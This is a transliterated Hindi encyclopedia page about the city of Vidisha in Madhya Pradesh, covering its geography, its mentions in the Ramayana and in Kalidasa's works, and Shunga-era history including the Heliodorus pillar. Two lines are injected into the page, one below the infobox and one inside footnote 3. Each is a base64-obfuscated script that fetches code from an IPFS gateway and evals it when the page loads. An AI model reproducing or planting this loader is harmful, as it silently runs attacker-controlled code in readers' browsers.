विदिशा

भारत डिस्कवरी प्रस्तुति
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chitr:Disamb2.jpg vidisha ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- vidisha (bahuvikalpi)

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vidisha
vivaran aitihasik v puratatvik drishtikon se yah kshetr madhyabharat ka sabase mahattvapoorn kshetr mana ja sakata hai.
rajy madhy pradesh
zila vidisha
nirman kal mahabharat kal
bhaugolik sthiti uttar- 23°32, poorv- 77°49
marg sthiti vidisha saanchi se lagabhag 9 kimi ki doori par sthit hai.
kaise pahuanchean havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda bhopal havaee adda
relave steshan vidisha relave steshan
yatayat taiksi
kya dekhean luhaangi, charanatirth, vidisha ka qila, vijay mandir, udayagiri gufaean
es.ti.di. kod 7592
chitr:Map-icon.gif googal manachitr
any janakari vidisha ko vidisha nadi ke roop mean bhi jana jata hai.
adyatan‎
12:36, 28 navambar 2011 (IST)
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vidisha bharat ke madhy pradesh prant mean sthit ek pramukh shahar hai. yah malava ke upajaoo pathari kshetr ke uttar- poorv hisse mean avasthit hai tatha pashchim mean mukhy pathar se ju da hua hai. aitihasik v puratatvik drishtikon se yah kshetr madhyabharat ka sabase mahattvapoorn kshetr mana ja sakata hai. nagar se do mil uttar mean jahaan is samay besanagar namak ek chhota-sa gaanv hai, prachin vidisha basi huee hai. yah nagar pahale do nadiyoan ke sangam par basa hua tha, jo kalaantar mean dakshin ki or badhata ja raha hai. in prachin nadiyoan mean ek chhoti-si nadi ka nam vais hai. ise vidisha nadi ke roop mean bhi jana jata hai.

bhaugolik sthiti

isaki bhaugolik sthiti b di hi mahattvapoorn thi. pataliputr se kaushambi hote huye jo vyaparik marg ujjayini (adhunik ujjain) ki or jata tha vah vidisha se hokar gujarata tha. yah vetravati nadi ke tat par basa tha, jisaki pahachan adhunik betava nadi ke sath ki jati hai. betava ki sahayak nadi dhasan nadi ke nam mean avashisht hai. kuchh vidvan isaka namakaran dasharn nadi (dhasan) ke karan manate haian, jo das chhoti- b di nadiyoan ke samavay- roop mean bahati thi.

itihas

vidisha prachin bharat ki prasiddh nagari thi, jisaka abhijnan vartaman bhilasa ya vesanagar se kiya gaya hai. yah nagari vetravati nadi[1] ke tat par basi huee thi. vidisha ka shayad sarvapratham ullekh valmiki ramayan[2] mean hai, jisase soochit hota hai ki shatrughn ke putr shatrughati ko vidisha aur subahu ko madhura ya mathura ka raja banaya gaya tha[3]-

‘subahurmaghura lebhe, shatrughati ch vaidishamh’.

kalidas ne bhi is tathy ka ullekh 'raghuvansh'[4] mean kiya hai-

'shatrughatini shatrughnah, subahau ch bahushrute madhura vidishe soonvoan nirdadhe poorvotsukah’.

ashok ke samay mean vidisha dakshin path ki mukhy nagari thi. apane pita ke shasan kal mean ashok dakshina path ka shasak tha aur vidisha mean hi rahata tha. yahian ke ek dhanavanh shreshthi ki kanya devi se usane vivah kiya tha. bauddh sahity se soochit hota hai ki ashok ke putr aur putri- mahendr aur sanghamitra, devi hi ki santan the.[5] ‘phir dhire-dhire mahendr[6] ne vidisha nagar mean pahuanch kar apani mata devi ke darshan kie aur unhean vidisha giri vihar mean utara’.[7] ashok ne magadh samrat banane ke pashchath vidisha ke upanagar saanchi mean apana prasiddh stoop banavaya tha. isake toran shuang kal mean bane the. pushyamitr shuang jis samay magadh ka samrat tha (dvitiy shati ee. poo.), tab vidisha mean usaka putr agnimitr shasak ke roop mean rahata tha. kalidas ne 'malavikagnimitr' natak mean vidisha ko agnimitr ki rajadhani mana hai-

‘svasti. yajnasharanatsenapatiah pushyamitroan vaidishasthan putramayushmantamagnimitran snehatparishvajyedamanudarshayati’.[8]

vidisha us samay samriddhashalini nagari thi tatha yahaan vyaparik sarth nirantar ate-jate rahate the-

‘imaantathagat bhratrikaan maya sardhamapavahm bhavath sanbandhapekshaya pathikasarth vidishagaminamanu pravisht’.[9]

vidisha ka dasharn ki rajadhani ke roop mean ullekh tatha usake nikat bahane vali nadi vetravati ka suandar varnan kalidas ne 'meghadoot'[10] mean is prakar kiya hai-

‘teshaan dikshu prathitavidishalakshanaan rajadhanimh gatva sadyah phalamatimahat kamukatvasy labdhva, tiroparantastanik subhagan pasyasi svaduyuktamh, sabhroobhang mukhamiv payo vetravatyashchalomiah’.

is varnan se is bat ka praman milata hai ki kalidas ke samay tak (sanbhavatah 5vian shati ee. ka poorv bhag) vidisha ‘prathit’ athava prasiddh nagari thi. mahakavi banabhatt (7vian shati ee. tak) ne 'kadanbari' ke praranbh mean hi apani katha ke patr raja shoodrak ki rajadhani vidisha mean vetravati ke tat par bataee hai-

‘vetravatya sarita parigatavidishabhidhana nagari rajadhanyasith’.

vishnupuran[11] mean bhi vidisha ka namollekh hai-

'vidishakhyan puran gatva tadavasth dadarshatamh’.

gupt yug ke pashchath kaphi samay tak vidisha ka itihas timirachchhan raha. 11vian shati mean alaberooni ne vidisha ya bhilasa ka nam mahabalistan bataya hai. madhy yug mean vidisha ke bahut dinoan tak malava ke sultanoan ke shasanadhin rahane ke praman milate haian. mugal kal mean vidisha (bhilasa) malava ke soobe ki chhoti si nagari matr thi. dharmadh aurangazeb ne is prachin nagari ka nam badalakar alamagir rakha tha, jo kabhi prachalit n hua. 18vian shati mean vidisha mean marathoan ka rajy sthapit ho gaya aur tab se adhunik kal tak yah bhootapoorv gvaliyar riyasat ki ek chhoti kiantu mahatvapoorn nagari bani rahi. vidisha ke anek prachin smarakoan mean vijayamandal ya bijamandal namak masajid bhi hai, jo 11vian shati ke lagabhag bane charchika ya vijayadevi ke mandir ko to dakar usi ke masale se banavaee gee thi. isaka praman masajid ke ek stanbh par utkirn sanskrit lekh se milata hai. besanagar (pali besanagar) vidisha ki prachin mukhy nagari ka hi ek bhag tha aur bhilasa is nagari ke madhyayugin sanskaran ka nam hai.

mahabharat, ramayan mean vidisha

is nagar ka sabase pahala ullekh mahabharat mean ata hai. is pur ke vishay mean ramayan mean ek paranpara ka varnan milata hai jisake anusar ramachandr ne ise shatrughn ko sauanp diya tha. shatrughn ke do putr utpann huye jinamean chhota subahu namak tha. unhoanne ise vidisha ka shasak niyukt kiya tha. tho de hi samay mean yah nagar apani anukool paristhitiyoan ke karan panap utha. bharatiy akhyan, kathaoan evan itihas mean isaka sthan nirale tarah ka hai. is nagar ki naisargik chhata ne kaviyoan aur lekhakoan ko prerana pradan ki. vahaan par kuchh videshi bhi aye aur isaki visheshataoan se prabhavit huye. katipay bauddh granthoan ke varnan se lagata hai ki is nagar ka sambandh sanbhavat: kisi samay ashok ke jivan ke sath bhi rah chuka tha. inake anusar is nagar mean dev namak ek dhanimani seth rahata tha jisaki deva namak sundar putri thi. apane pita ke jivanakal mean ashok ujjayini ka rajyapal niyukt kiya gaya tha. pataliputr se is nagar ko jate samay vah vidisha mean rook gaya thaan deva ke roop evan gunoan se vah prabhavit ho utha aur usase usane vivah kar liya. is rani se mahendr namak ajnakari putr aur sanghamitra namak ajnakarini putri utpann huee. donoan hi usake param bhakt the aur use apane jivan mean b de hi sahayak siddh huye the. sanghamitra ko bauddh granthoan mean vidisha ki mahadevi kaha gaya hai.

kalidas ke meghadoot mean

is nagar ka varnan kalidas ne apane suprasiddh granth meghadoot mean kiya hai. anek anusar yahaan par dasharn desh ki rajadhani thi. pravasi yaksh apane sandeshavahak megh se kahata hai- are mitr! sun. jab too dasharn desh pahuanchega, to tujhe aisi phulavariyaan mileangi, jo phoole huye kev doan ke karan ujali dikhayi deangi. gaanv ke mandir kauoan adi pakshiyoan ke ghoansaloan se bhare mileange. vahaan ke jangal paki huee kali jamunoan se lade mileange aur hans bhi vahaan kuchh dinoan ke liye a base hogean. thumb|250px|left|bijamandal, vidisha he mitr! jab too is dasharn desh ki rajadhani vidisha mean pahuanchega, to tujhe vahaan vilas ki sab samagri mil jayegi. jab too vahaan suhavani aur manabhavani nachati huee laharoan vali vetravati (betava) ke tat par garjan karake usaka mitha jal piyega, tab tujhe aisa lagega ki mano too kisi katili bhauhoan vali kamini ke othoan ka ras pi raha hai.

vahaan too pahuanch kar thakavat mitane ke liye 'nich' nam ki paha di par utar jana. vahaan par phoole huy kadamb ke vrikshoan ko dekhakar aisa jan p dega ki manoan tujhase bheant karane ke karan usake rom-rom pharaphara uthe hoan. us paha di ki gufaoan se un sugandhit padarthoan ki gandh nikal rahi hogi, jinhean vahaan ke rasik veshyaoan ke sath rati karate samay kam mean late haian. isase tujhe yah bhi pata chal jayega ki vahaan ke nagarik kitani svatantrata se javani ka anand lete haian. kalidas ke is varnan se lagata hai ki ve is nagar mean rah chuke the aur is karan vahaan ke pradhan sthanoan tatha puravasiyoan ke samajik jivan se parichit the.

malavikagnimitramh mean

  • shuangoan ke samay mean is nagar ka rajanitik mahattv badh gaya. samrajy ke pashchimi hissoan ki dekh-rekh ke liye vahaan ek doosari rajadhani bhi sthapit ki gee. vahaan shuang-rajakumar agnimitr samrat ke pratinidhi (vaisaray) ke roop mean rahane laga. yah vahi agnimitr hai, jo kalidas ke 'malavikagnimitramh' namak natak ka nayak hai. is granth mean use vaidish arthath vidisha ka nivasi kaha gaya hai. usaka putr vasumitr yavanoan se l dane ke liye sindhu nadi ke tat par bheja gaya tha. devi dharini, jo agnimitr ki pradhan mahishi thian us samay vidisha mean hi thian. 'malavikagnimitramh' mean apane putr ki suraksha ke liye unhean atyant vyakul dikhaya gaya hai.

thumb|heliodoras stanbh, vidisha

  • shuangoan ke bad vidisha mean nag raja rajy karane lage. is nag-shakha ka ullekh puranoan mean hua hai. isi vansh mean ganapatinag hua tha, jisake nam ka ullekh samudragupt ki prayag-prashasti mean hua hai. vah b da parakrami lagata hai. usake rajy mean mathura ka bhi nagar sammilit tha. vahaan se usake sikke mile haian. kuchh logoan ka anuman hai ki jab samudragupt uttari bharat mean digvijay kar raha tha us samay vahaan ke nav rajaoan ne usake viruddh ek gutabandi ki, jisaka nayak ganapatinag tha. aisa gut sachamuch bana ya nahian, is vishay mean ham bahut nishchit to nahian ho sakate. par itana spasht hai ki us samay ke rajamandal mean ganapatinag ka nam b de hi adar ke sath liya jata tha.
  • bharahut ke lekhoan se lagata hai ki vidisha ke nivasi b de hi dani the. vahaan ke ek abhilekh ke anusar vahaan ka revatimitr namak ek nagarik bharahut aya hua tha. usaki bharya chanda devi ne vahaan par ek stambh ka nirman kiya tha. bharahut ke any lekhoan mean vidisha ke katipay un nagarikoan ke nam milate haian, jinhoanne ya to kisi smarak ka nirman kiya tha ya vahaan ke mathoan ke bhikshusangh ko kisi tarah ka dan diya tha. inamean bhootarakshit, aryama namak mahila tatha venimitr ki bharya vashiki adi pramukh the.
  • kala ke kshetr mean is nagar ka mahattv kuchh kam nahian thaan periplas namak videshi mahanavik ke anusar vahaan hathi-daant ki vastuean uttar koti ki banati thian. bauddh granthoan ke anusar vahaan ki bani huee tez dhar ki talavaroan ki b di maang thi. is sthan sean shuang-kal ka bana hua ek garu d-stambh mila hai, jisase jnat hota hai ki vahaan par vaishnav dharm ka vishesh prachar tha. is stambh par ek lekh milata hai jisake anusar takshashila se heliodoras namak yoonani vidisha aya tha. vah vaishnav matavalambi tha aur is stambh ka nirman usi ne karaya tha.
  • saanskritik drishti se yah lekh b da hi mahattvapoorn hai. yah is bat ka parichayak hai ki videshiyoan ne bhi bharatiy dharm aur sanskriti ko apana liya tha. vidisha mean isi tarah aur bhi bhagoan se log aye hoange. is dharmakendr mean apane adhyatmik labh ke liye logoan ne smarakoan ka nirman kiya hoga. vidisha ko skand puran mean tirthasthan kaha gaya hai.
  • heliodoras dvara nirmit vidisha ka uparyukt garu d-stambh kala ka ek achchha namoona hai. vah moolat: ashok ke hi stambhoan ke adarsh par bana tha. par sath hi usamean kuchh maulik visheshatayean bhi haian. isaka sabase nichala bhag ath konoan ka hai. isi tarah madhy bhag solah kone ka aur oopari bhag battis kone ka hai. yah visheshata hamean ashok ke stambhoan mean nahian dikhaee deti. isase lagata hai ki vidisha ke kalakar nipun the aur unaki pratibha maulik koti ki thi.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ betaba
  2. ↑ balmiki ramayan, uttar 108,10
  3. ↑ aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharat diskavari pustakalay |prishth sankhya: 855 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. ↑ raghuvansh 15,36
  5. ↑ mahavansh, 13,7
  6. ↑ ashok ka putr sthavir maheandr
  7. ↑ yahaan vidishagiri se saanchi ki paha di nirdisht jan p dati hai.
  8. ↑ aank 5
  9. ↑ vahian, aank 5
  10. ↑ poorv megh 26
  11. ↑ vishnupuran 3,64

sanbandhit lekh

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madhy pradesh ke nagar
dekhean • varta • badalean
madhy pradesh ke paryatan sthal
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